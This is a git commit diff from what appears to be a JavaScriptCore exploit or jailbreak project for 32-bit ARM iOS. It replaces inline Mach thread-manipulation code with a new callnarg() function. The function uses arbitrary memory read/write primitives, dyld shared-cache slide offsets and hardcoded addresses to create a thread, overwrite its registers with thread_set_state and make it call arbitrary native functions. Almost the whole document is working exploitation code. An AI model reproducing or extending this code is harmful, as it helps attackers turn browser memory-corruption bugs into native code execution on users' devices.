summaryrefslogtreecommitdiff
path: root/src/js
diff options
context:
space:
mode:
Diffstat (limited to 'src/js')
-rw-r--r--src/js/main.js55
-rw-r--r--src/js/primitives/call.js60
2 files changed, 68 insertions, 47 deletions
diff --git a/src/js/main.js b/src/js/main.js
index d611329..683c96a 100644
--- a/src/js/main.js
+++ b/src/js/main.js
@@ -12,13 +12,13 @@ var ARM_THREAD_STATE = 0x1;
var ARM_THREAD_STATE_COUNT = 0x11;
try {
- log("we out here in jsc");
+ puts("we out here in jsc");
} catch (e) {
/*
- * we don't have log. :(
+ * we don't have puts. :(
*/
- log = function (){};
+ puts = function (){};
}
function main() {
@@ -34,29 +34,11 @@ function main() {
slide = get_our_slide();
base = 0x4000 + (slide << 12);
slid = (slide << 12);
- mytask = 0;
- count = 0x130000;
- th = 0x130100;
-// thread_state_ptr = 0x130008;
- thread_state = 0x130200;
- countptr = 0x131000;
- thptr = 0x131004;
- thread_stateptr = 0x131008;
-
- countptrptr = 0x132000;
- thptrptr = 0x132004;
- thread_stateptrptr = 0x132008;
-
- write_u32(countptr, count);
- write_u32(thptr, th);
- write_u32(thread_stateptr, thread_state);
-
- write_u32(countptrptr, countptr);
- write_u32(thptrptr, thptr);
- write_u32(thread_stateptrptr, thread_stateptr);
init_sptr_heap();
+ var i = 0;
+
puts("we out here");
puts("I came through a portal holding a 40 and a blunt. Do you really wanna test me right now?");
@@ -65,35 +47,14 @@ function main() {
printf("*(uint16_t*)base = 0x%x\n", read_u16(base));
printf("*(uint32_t*)base = 0x%x\n", read_u32(base));
- puts("alive");
- mytask = calls4arg("mach_task_self", 0, 0, 0, 0);
-
- printf("%x %x %x\n", mytask, thptr, th);
- printf("%x %x\n", thread_stateptr, countptr);
-
- puts("alive");
- calls4arg("thread_create", mytask, th, 0, 0);
- printf("mytask=%x th=%x\n", mytask, read_u32(th));
- puts("alive");
- calls4arg("thread_get_state", thptr, ARM_THREAD_STATE, thread_stateptrptr, countptr);
- printf("thread_state=%x\n", read_u32(thread_state));
- puts("alive");
- for (var i = 0; i < 16; i++) {
- write_u32(thread_state + (i << 2), 0x41414140 + i);
- }
- printf("thread_state=%x\n", read_u32(thread_state));
- puts("alive");
- calls4arg("thread_set_state", thptr, ARM_THREAD_STATE, thread_stateptrptr, ARM_THREAD_STATE_COUNT);
- puts("alive");
- calls4arg("thread_resume", thptr, 0, 0, 0);
- puts("alive");
+ callnarg(sym_cache["printf"], sptr("Hello world! %x %x %x %x %x %x %x %x %x %x %x %x %x\n"), 0x420, 0x69, 0x1337, 0x13371337, 0xb1a7e17, 0x41424344);
// var i = 0;
// while (true) {
-// calls4arg("syslog", 0x28, sptr("get rekt from jsc %d (slide=%x)\n"), i, slide);
+// calls4arg("sysputs", 0x28, sptr("get rekt from jsc %d (slide=%x)\n"), i, slide);
// calls4arg("sleep", 1, 0, 0, 0);
// i++;
// }
- log("still alive");
+ printf("still alive18\n");
};
diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js
index 996f5a8..687e758 100644
--- a/src/js/primitives/call.js
+++ b/src/js/primitives/call.js
@@ -97,3 +97,63 @@ function calls4arg(sym, r0, r1, r2, r3) {
}
return call4arg(addy, r0, r1, r2, r3);
}
+
+function callnarg() {
+ if (arguments.length < 1) {
+ return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length);
+ }
+
+ mytask = 0;
+ count = 0x130000;
+ th = 0x130100;
+// thread_state_ptr = 0x130008;
+ thread_state = 0x130200;
+ countptr = 0x131000;
+ thptr = 0x131004;
+ thread_stateptr = 0x131008;
+ thread = 0x130300;
+ threadptr = 0x132300;
+ threadptrptr = 0x133300;
+
+ countptrptr = 0x132000;
+ thptrptr = 0x132004;
+ thread_stateptrptr = 0x132008;
+
+ var stack_shit = 0x161000;
+
+ write_u32(countptr, count);
+ write_u32(thptr, th);
+ write_u32(threadptr, thread);
+ write_u32(thread_stateptr, thread_state);
+
+ write_u32(countptrptr, countptr);
+ write_u32(thptrptr, thptr);
+ write_u32(threadptrptr, threadptr);
+ write_u32(thread_stateptrptr, thread_stateptr);
+
+ var addy = arguments[0];
+
+ var dyld_shc_slide = get_dyld_shc_slide();
+
+ write_u32(0x346afc48 + dyld_shc_slide, 0x23d751fc + dyld_shc_slide);
+
+ calls4arg("pthread_create", threadptr, 0, 0x23d751fc + dyld_shc_slide, 0);
+ var thread = read_u32(threadptr);
+ write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0));
+
+ for (var i = 1; i < arguments.length; i++) {
+ if (i <= 4) {
+ write_u32(thread_state + ((i - 1) << 2), arguments[i]);
+ } else {
+ write_u32(stack_shit + ((i - 5) << 2), arguments[i]);
+ }
+ }
+
+ write_u32(thread_state + (13 << 2), stack_shit);
+ write_u32(thread_state + (14 << 2), 0x23d751fc + dyld_shc_slide);
+ write_u32(thread_state + (15 << 2), addy);
+ write_u32(thread_state + (16 << 2), 0x40000020);
+
+ calls4arg("thread_set_state", read_u32(th), ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT);
+ calls4arg("thread_resume", read_u32(th), 0, 0, 0);
+} \ No newline at end of file